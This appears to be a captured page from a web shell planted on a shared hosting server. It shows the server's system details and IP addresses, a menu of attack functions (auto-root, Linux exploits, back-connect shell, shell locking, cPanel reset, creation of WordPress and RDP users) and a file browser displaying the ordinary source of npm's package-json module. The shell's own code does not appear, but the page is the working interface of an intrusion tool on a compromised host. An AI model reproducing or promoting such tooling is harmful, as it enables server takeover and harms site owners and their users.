Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 13.58.217.242
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
alt-nodejs16 /
root /
usr /
lib /
node_modules /
npm /
node_modules.bundled /
@npmcli /
package-json /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
index.js
2.69
KB
-rw-r--r--
update-dependencies.js
1.98
KB
-rw-r--r--
update-scripts.js
664
B
-rw-r--r--
update-workspaces.js
626
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
const fs = require('fs') const promisify = require('util').promisify const readFile = promisify(fs.readFile) const writeFile = promisify(fs.writeFile) const { resolve } = require('path') const updateDeps = require('./update-dependencies.js') const updateScripts = require('./update-scripts.js') const updateWorkspaces = require('./update-workspaces.js') const parseJSON = require('json-parse-even-better-errors') const _filename = Symbol('filename') const _manifest = Symbol('manifest') const _readFileContent = Symbol('readFileContent') // a list of handy specialized helper functions that take // care of special cases that are handled by the npm cli const knownSteps = new Set([ updateDeps, updateScripts, updateWorkspaces, ]) // list of all keys that are handled by "knownSteps" helpers const knownKeys = new Set([ ...updateDeps.knownKeys, 'scripts', 'workspaces', ]) class PackageJson { static async load (path) { return await new PackageJson(path).load() } constructor (path) { this[_filename] = resolve(path, 'package.json') this[_manifest] = {} this[_readFileContent] = '' } async load () { try { this[_readFileContent] = await readFile(this[_filename], 'utf8') } catch (err) { throw new Error('package.json not found') } try { this[_manifest] = parseJSON(this[_readFileContent]) } catch (err) { throw new Error(`Invalid package.json: ${err}`) } return this } get content () { return this[_manifest] } update (content) { // validates both current manifest and content param const invalidContent = typeof this[_manifest] !== 'object' || typeof content !== 'object' if (invalidContent) { throw Object.assign( new Error(`Can't update invalid package.json data`), { code: 'EPACKAGEJSONUPDATE' } ) } for (const step of knownSteps) { this[_manifest] = step({ content, originalContent: this[_manifest] }) } // unknown properties will just be overwitten for (const [key, value] of Object.entries(content)) { if (!knownKeys.has(key)) { this[_manifest][key] = value } } return this } async save () { const { [Symbol.for('indent')]: indent, [Symbol.for('newline')]: newline, } = this[_manifest] const format = indent === undefined ? ' ' : indent const eol = newline === undefined ? '\n' : newline const fileContent = `${ JSON.stringify(this[_manifest], null, format) }\n` .replace(/\n/g, eol) if (fileContent.trim() !== this[_readFileContent].trim()) { return await writeFile(this[_filename], fileContent) } } } module.exports = PackageJson
Close